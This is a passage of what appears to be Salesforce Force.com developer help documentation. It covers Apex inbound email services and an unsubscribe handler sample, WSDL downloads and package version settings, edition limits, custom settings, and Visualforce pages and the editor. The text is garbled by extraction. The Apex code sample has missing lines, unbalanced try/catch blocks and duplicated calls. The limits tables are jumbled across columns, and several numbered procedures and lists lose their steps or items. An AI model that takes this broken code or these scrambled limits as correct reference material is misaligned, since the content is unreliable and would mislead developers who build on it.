receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.
1570
Develop Using the InboundEmail Object
Note:
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.
See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Services
Developer's Guide: Force.com Apex Code Developer's Guide
For every email the Apex email service domain receives, Salesforce.com creates a separate InboundEmail object that contains
the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Note: For information on the Apex email service, see What are Email Services? on page 1565.
// Create an inboundEmailResult object for returning the result of the Apex Email Service
myPlainText = email.plainTextBody;
1571
Develop Using the InboundEmail Object
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
}
}
// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();
1572
Develop Using the InboundEmail Object
// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';
// Check the variable to see if the word "unsubscribe" was found in the subject line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);
if (unsubMe == true) {
try {
try {
// Look up all leads matching the email address.
for (Lead l : [Select Id, Name, Email, HasOptedOutOfEmail
From Lead
Where Email = :env.fromAddress
And isConverted = false
And hasOptedOutOfEmail = false
Limit 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);
catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}
1573
Develop Using the InboundEmail Object
return result;
}
// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
1574
Develop Using the InboundEmail Object
unsubscribeObj.handleInboundEmail(email, env );
}
InboundEmail Object
An InboundEmail object has the following fields.
1575
Develop Using the InboundEmail Object
InboundEmail.Header Object
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following
fields.
InboundEmail.BinaryAttachment Object
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Examples of binary attachments include image, audio, application, and video files.
An InboundEmail.BinaryAttachment object has the following fields.
InboundEmail.TextAttachment Object
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The text attachments can be any of the following:
• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
• Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
An InboundEmail.TextAttachment object has the following fields.
1576
Develop Using the InboundEmail Object
InboundEmailResult Object
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to
be successful. The InboundEmailResult object has the following fields.
message String A message that Salesforce.com returns in the body of a reply email. This field
can be populated with text irrespective of the value returned by the Success
field.
InboundEnvelope Object
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
See Also:
Force.com Apex Code Overview
What are Email Services?
Developer's Guide: Force.com Apex Code Developer's Guide
1577
Develop Handling Apex Exceptions in Managed Packages
When you create a managed package for Force.com AppExchange, you can specify a user to receive an email notification when
an exception occurs that is not caught by an Apex script. Uncaught exceptions can be thrown from:
See Also:
Force.com Apex Code Overview
Preparing Your Apps for Distribution
Developer's Guide: Force.com Apex Code Developer's Guide
1578
Develop What is the API?
Salesforce.com provides programmatic access to your organization’s information using a simple, powerful, and secure application
programming interface, the Web services API (the API).
1579
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates
within the IDE itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving
metadata between a local directory and a Salesforce.com organization.
See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Web Services API Developer's Guide
Metadata API Developer's Guide
Bulk API Developer's Guide
You can download a Web Services Description Language (WSDL) document to integrate and extend Salesforce.com using
the Force.com API. With a Salesforce.com WSDL, you can easily integrate Salesforce.com with your applications or build
new applications that work with Salesforce.com.
The following WSDLs are available:
• Enterprise WSDL - This WSDL document is for customers who want to build an integration with their Salesforce.com
organization only. It is strongly typed, which means that it contains objects and fields with specific data types, such as int
and string. Customers who use the enterprise WSDL document must download and re-consume it whenever their
organization makes a change to its custom objects or fields or whenever they want to use a different version of the API.
• Partner WSDL - This WSDL document is for customers, partners, and ISVs who want to build an integration that can
work across multiple Salesforce.com organizations, regardless of their custom objects or fields. It is loosely typed, which
means that you work with name-value pairs of field names and values instead of specific data types. The partner WSDL
document only needs to be downloaded and consumed once per version of the API.
• Apex WSDL - This WSDL document is for users who want to run or compile Apex in another environment. See the
Force.com Apex Code Developer's Guide for details.
• Metadata WSDL - This WSDL document is for users who want to use the Force.com API metadata calls to migrate
configuration changes between organizations or work with the customizations in your organization as XML metadata files.
See the Force.com Metadata API Developer's Guide for details.
• If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click
Generate Enterprise WSDL. Salesforce.com prompts you to select the version of each installed package to include in
the generated WSDL.
1580
Develop Downloading Salesforce.com WSDLs and Client Authentication Certificates
• Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click
menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.
3. On your computer, import the local copy of the WSDL document into your development environment.
Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings
section.
Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow
outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user.
If you want to use certificates to ensure secure connections using other Salesforce.com features, such as Apex callouts, use
Salesforce.com certificates and key pairs.
Click Setup ➤ Develop ➤ API, and on the WSDL Download page, right-click Download Client Certificate and save it
to an appropriate location. You can then import the downloaded certificate into your application server, and configure your
application server to request the client certificate.
See Also:
What is the API?
Defining Custom S-Controls
Force.com API Usage Limits
Managing Packages
Configuring Default Package Versions for API Calls
Documentation Resources for Force.com Developers
If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take
an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is
strongly typed, which means that it contains objects and fields with specific data types, such as int and string.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package. A subscriber can select a package version for each installed managed package
to allow their API client to continue to function with specific, known behavior even when they install subsequent versions of
a package. Each package version can have variations in the composition of its objects and fields, so you must select a specific
version when you generate the strongly typed WSDL.
1581
Develop Configuring Default Package Versions for API Calls
• Each of your managed package version selections is included in a comment at the top of the WSDL.
• The generated WSDL contains the objects and fields in your organization, including those available in the selected versions
of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL
with that package version to work with the object or field in your API integration.
• The SOAP endpoint at the end of the WSDL contains a URL with a format of
serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 19.0, and
ID encodes your package version selections when you communicate with Salesforce.com.
You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package
Version Settings section of Setup ➤ Develop ➤ API. Default package versions for API calls provide fallback settings if
package versions are not provided by an API call. Many API clients do not include package version information, so the default
settings maintain existing behavior for these clients.
See Also:
What is the API?
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Configuring Default Package Versions for API Calls
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
1582
Develop Configuring Default Package Versions for API Calls
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API
clients do not include package version information, so the default settings maintain existing behavior for these clients.
You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers
who want to build an integration with their Salesforce.com organization only. It is strongly typed, which means that calls
operate on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners,
and ISVs who want to build an integration that can work across multiple Salesforce.com organizations, regardless of their
custom objects or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values
instead of specific data types.
You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are
options for setting the package version bindings for an API call from client applications using either the enterprise or partner
WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is
determined by the first match in the following settings.
The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified
option for a package version when configuring the default partner package versions, the behavior is defined by the latest
installed package version. This means that behavior of package components, such as an Apex trigger, could change when a
package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific
version for an installed package for all partner API calls from client applications to ensure that subsequent installations of
package versions do not affect their existing integrations.
The package version information for partner API calls is determined by the first match in the following settings.
1583
Develop Salesforce.com Editions and Limits
Note: Installing a new version of a package in your organization does not affect the current default settings.
See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide
1584
Develop Salesforce.com Editions and Limits
Custom Fields 5 per object, 25 per 100 per 100 per 500 per 500 per 500 per
5 total object, 100 object, 100 object, 100 object, 500 object, 500 object, 500
(Additional restrictions
total total total total total total
apply for activities, long
text area fields,
relationship fields, and
roll-up summary fields.
For more information, see
Custom Fields Limit
Details.)
Active Lookup Filters 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object
Custom labels Not Not Not 5,000 5,000 5,000 5,000
Available Available Available
Active Rules Not Not Not 50 per 50 per 50 per 50 per
Available Available Available object object object object
(Limits apply to any
combination of active
workflow, assignment,
auto-response, and
escalation rules. For more
information, see Rules
Limit Details.)
1585
Develop Salesforce.com Editions and Limits
1586
Develop Salesforce.com Editions and Limits
1587
Develop Salesforce.com Editions and Limits
Workflow Not Available Not Available Not Available Not Available For Enterprise, Developer, and Unlimited
Rules and Editions, each workflow rule and approval
Approval process can have:
Processes • 10 time triggers
• 40 immediate actions
• 40 time-dependent actions per time trigger
Note that for both immediate and
time-dependent actions, there can be no more
than:
• 10 email alerts
• 10 tasks
• 10 field updates
• 10 outbound messages
Assignment, Not Available Not Available Not Available For Professional, Enterprise, Developer, and Unlimited
Auto-response, Editions, each assignment, auto-response, and escalation rule
and can have:
Escalation • 3000 rule entries
Rules • 300 formula criteria rule entries
• 25 filter criteria per rule entry
1588
Develop Custom Settings Overview
Entitlement Not Available Not Available Not Available Not Available For Enterprise, Developer, and Unlimited
Processes and Editions, you can have:
Milestones • 20 Entitlement processes
• 10 Milestones for each entitlement process
Contact salesforce.com for information on
increasing the number of entitlement processes
and milestones.
See Also:
Monitoring Resources
Force.com API Usage Limits
Customer Portal Setup Limits
salesforce_app_limits_cheatsheet.pdf
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the Web services API.
There are two types of custom settings:
1589
Develop Custom Settings Overview
The following examples illustrate how you can use custom settings:
• A Salesforce.com partner has created a shipping application that requires users to fill in the country codes for international
deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the
database.
• A Salesforce.com partner has created an application to calculate and track compensation for its sales reps, but commission
percentages are based on seniority. By creating a hierarchy setting, the administrator can associate a different commission
percentage for each profile in the sales organization. Within the application, one formula field can then be used to correctly
calculate compensation for all users; the personalized settings at the profile level inserts the correct commission percentage.
• A Salesforce.com partner has created an application that displays a map of account locations, the best route to take, and
traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By
creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the “Sales
Rep” profile.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they have
installed the package.
1590
Develop Custom Settings Overview
Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.
• Click Manage to add data to a custom setting. You should add fields before you add data.
See Also:
Accessing Custom Settings
Custom Settings Limits
Defining Custom Settings
Viewing Custom Settings
Salesforce.com imposes these limits on the amount of cached data and on custom settings:
See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data
1591
Develop Custom Settings Overview
You can access custom settings from formula fields, validation rules, Apex, and the Web services API. Some sample code
segments are provided below.
Formula Fields
Formula fields only work for hierarchy custom settings; they cannot be used for list custom settings. For more information
on using formula fields, see Creating On-Demand Applications: An Introduction to the Force.com Platform.
{!$Setup.CustomSettingName__c.CustomFieldName__c}
Apex
Apex scripts can access both custom setting types.
Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package,
the subscribing organization cannot edit the values or access them using Apex.
For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide.
Samples for List Custom Settings
When you add data to a custom setting, you must name each set of data. Then you can distinguish between the
sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns
values for all custom fields associated with the list setting.
The following example uses the getValues method to return all the field values associated with the specified
data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
1592
Develop Defining Custom Settings
The following example uses the getInstance method to return the data set values for the specified profile. The
getInstance method can also be used with a user Id.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the
Web Services API Developer's Guide.
See Also:
Custom Settings Overview
Custom Settings Limits
Defining Custom Settings
Force.com Apex Code Overview
Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.
1593
Develop Defining Custom Settings
Note: Salesforce.com recommends using ASCII for the Object Name. The name can't exceed 38 ASCII
characters. If you use double byte, there are additional limits on the number of characters allowed.
• Setting Type—Select a type of List or Hierarchy. The List type defines application-level data, such as country codes
or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be
overridden at lower levels in the hierarchy.
Important: After you save a custom setting, you cannot change this value.
- Protected—If the custom setting is contained in a managed package, subscribing organizations can't see the custom
setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom
setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in
an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as
if the Visibility was Public.)
- Public—The custom setting is available through the Enterprise WSDL like any custom object. You can package
custom settings defined as public. The subscribing organizations can edit the values, as well as access them using
Apex and the API, regardless of the type of package (either managed or unmanaged).
Important: After you save a custom setting, you cannot change this value.
4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences
between your custom settings when you are viewing them in a list.
5. Click Save.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they
have installed the package.
After you create a custom setting, you must also add fields to the custom setting.
See Also:
Custom Settings Overview
Adding Custom Settings Fields
Adding Custom Settings Data
1594
Develop Viewing Custom Settings
After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields.
Click Setup ➤ Develop ➤ Custom Settings, then click the name of the custom setting you'd like to view. While viewing a
custom setting, you can do any of the following:
Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.
See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
After you define custom settings, you need to add custom fields to it. The custom fields contain the data, used by the custom
setting.
To add custom fields to a custom setting:
1595
Develop Managing Custom Settings Data
2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken
directly to the Custom Setting Detail page.)
3. Click New.
4. Select a field type and click Next.
5. Enter the details for your custom field.
6. Once you confirm the information, click Save or Save & New.
After you add the required fields, you need to add data and for hierarchy custom settings, specify the access level.
See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Data
After defining custom settings and adding fields, populate the fields using the following steps:
• If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data
(organization, profile, or user).
To add default data at the organization level:
- Click New in the Default Organization Level Value section. If data has already been defined for the organization,
you can only edit or delete it.
- Click New in the lower section of the page, near the Setup Owner.
After you have already defined data, you can do any of the following:
1596
Develop Managing Custom Settings Data
• Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or
Delete to delete it (this is only for hierarchical custom settings.)
• Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.)
• Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
• Click Del next to the name of an existing set of data to delete the data set.
See Also:
Custom Settings Overview
Custom Settings Limits
Adding Custom Settings Fields
Adding Custom Settings Data
After you define your custom settings and add fields, you need to populate the fields with data.
You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using
Apex, formula fields, and so on.
For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The
lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application,
that data is used. For example, you might want to specify different contact numbers for your application: one for the general
user, and one that is only displayed for system administrators.
To add data to custom setting fields:
1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting. Or from the detail page for a
custom setting, click Manage.
2. Click New or Edit next to an existing data set.
3. Add or change data.
For custom settings that are lists, do the following:
a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on.
b. Enter or change data for all fields.
c. Click Save.
a. For the default organization level values, enter or change the data for the fields. The default organization location is
automatically populated.
1597
Develop Visualforce Overview
b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the
profile or user, or use the lookup dialog search. Then enter or change the data for the fields.
c. Click Save.
See Also:
Custom Settings Overview
Defining Custom Settings
Viewing Custom Settings
Managing Custom Settings Data
Adding Custom Settings Fields
After you add fields and add data to those fields, you can view the data:
1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting that has already been defined.
Or from the detail page for a custom setting, click Manage.
2. Click View next to the data set you want to view (this is only for hierarchical custom settings.)
See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data
Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the
Salesforce.com user interface. With Visualforce you can:
• Create custom user interfaces that easily leverage standard Salesforce.com styles
1598
Develop Visualforce Overview
• Create custom user interfaces that completely replace the standard Salesforce.com styles
• Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction
Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of
functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such
as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in
standard Salesforce.com pages, or developers can associate their own logic with a custom controller or controller extension
written in Apex.
Category
STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a
particular site or accessed particular content previously; for example, HTTP cookies.
Recipient
OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage.
If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see
Platform for Privacy Preferences (P3P) Project.
If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one
above, perform one of the following actions:
• Configure P3P for your browser
• Change your browser settings to allow third-party cookies
1599
Develop How Do Visualforce Pages Compare to S-Controls?
See Also:
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
What is a Custom Component?
Developer's Guide: Visualforce Developer's Guide
Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written. The following table outlines the differences
between Visualforce pages and s-controls.
1600
Develop Enabling Development Mode
Interaction with Apex Direct, by binding to a custom controller Indirect, by using Apex webService
methods through the API
Performance More responsive because markup is Less responsive because every call to the
generated on the Force.com platform API requires a round trip to the
server—the burden rests with the
developer to tune performance
Page container Native In an iFrame
Although you can view and edit Visualforce page definitions from the setup area by clicking Setup ➤ Develop ➤ Pages,
enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you with:
1601
Develop Defining Visualforce Pages
Note: This release contains a pilot version of the View State tab that is production-quality but has known limitations.
You must contact Salesforce.com Support to enable this feature. See “About the View State Tab” in the Visualforce
Developer's Guide for more information.
See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide
You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup.
To create a page using Visualforce developer mode:
2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page.
Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the
nameOfNewPage value you specified in the URL.
1602
Develop Defining Visualforce Pages
5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately
1,000,000 characters.
6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has
installed managed packages from the AppExchange, you can also specify which version of each managed package to use.
Generally, you should use the default values for all versions. This associates the page with the most recent version of
Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API
to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and
continue editing your page. Your Visualforce markup must be valid before you can save your page.
Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you
have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode
enabled so they can view and edit pages in a single window.
Once your page has been created, you can access it using a URL in the following form:
http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name
of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the
Name field on your page definition.
See Also:
Visualforce Overview
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Developer's Guide: Visualforce Developer's Guide
To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as
well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings
for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,
and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known
behavior.
1603
Develop Defining Visualforce Pages
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for a Visualforce page:
2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the page.
3. Click Save.
• If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.
See Also:
Defining Visualforce Pages
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Managing Packages
Developer's Guide: Visualforce Developer's Guide
1604
Develop Managing Visualforce Pages
After creating Visualforce pages, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Pages to display the
Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page, you can:
Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a
Visualforce page in a managed package.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.
See Also:
Visualforce Overview
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
Setting Visualforce Page Security
Developer's Guide: Visualforce Developer's Guide
1605
Develop Setting Visualforce Page Security
You can specify which users can execute a particular Visualforce page based on their profile.
Permission for a Visualforce page is checked at the top level only. Once a page is enabled for profile, users with that profile
can access the page and execute all Apex that is associated with the page. This includes:
• The controller for the page and any Apex classes called from the controller class
• Any extension classes for the page and any Apex called from an extension
• Any Apex classes associated with custom components within the page
• Any classes associated with the page through the use of apex:include or apex:composition
For example, if page A depends on a controller that calls an Apex class B, and a user profile has access only to page A but not
class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses a custom component
with an associated controller, security is only checked for the controller associated with the page.
To set Visualforce page security from a page definition:
If a user has the “Customize Application” permission enabled in his or her profile, the user has access to all Visualforce pages
in the associated organization. However, this user may still have restrictions related to Apex classes. The “Customize Application”
permission does not allow a user to ignore those restrictions in a Visualforce page unless the profile has been granted Visualforce
page access.
1606
Develop Viewing and Editing Visualforce Pages
Also, to include Apex in a page, the user must have the Author Apex user permission or access to the Apex class via class level
security.
See Also:
Managing Visualforce Pages
Setting Apex Class Security
Click Setup ➤ Develop ➤ Pages and click the name of a Visualforce page to view its details, including when it was created,
when it was last modified, and the Visualforce markup associated with the page.
From the detail page, you can do any of the following:
Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot
edit, delete or clone it.
To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API.
If the page references components, such as a custom object, in an installed managed package, the version settings for each
managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package,
the Installed Package indicates the package name. The Available in Package Versions field gives the range of
package versions in which the Visualforce page is available. The first version number in the range is the first installed package
version that contains the Visualforce page.
1607
Develop Uncaught Exceptions in Visualforce
With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For
example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter
https://na3.salesforce.com/apex/HelloWorld in your browser's address bar.
After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the
browser:
• Click Page Editor to view and edit the associated Visualforce markup without having to return to the Setup area. All
changes you make to the page markup immediately display when you save the page.
• If the page uses a custom controller, click Controller to edit the associated Apex class.
• If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
• Click Save (just above the edit pane) to save your changes and refresh the content of the page.
• Click Component Reference to view the documentation for all supported Visualforce components.
• Click Where is this used? to view a list of all items in Salesforce.com that reference the page, such as custom tabs, controllers,
or other pages.
See Also:
Visualforce Overview
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Creating Visualforce Tabs
Managing Version Settings for Visualforce Pages
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide
If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception
type, and a notification that the developer has been notified by email.
If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception
message. You may also see a message indicating that the developer has been notified. If you are in development mode, you
will see the exception message, the exception type, and the Apex stack trace.
1608
Develop Using the Editor for Visualforce or Apex
Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
1609
Develop Using the Editor for Visualforce or Apex
SHIFT+Tab
Removes a tab
CTRL+f
Opens the search dialog or searches for the next occurrence of the current search
CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g
Opens the go to line dialog
CTRL+s
Performs a quick save.
CTRL+z
Reverses the last editing action
CTRL+y
Recreates the last editing action that was undone
See Also:
Core JavaScript 1.5 Guide:Regular Expressions
Viewing and Editing Visualforce Pages
1610
Develop Creating Visualforce Tabs
You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce.com.
To create a Visualforce tab:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default
c. Select a file and click OK. The New Custom Tab wizard reappears.
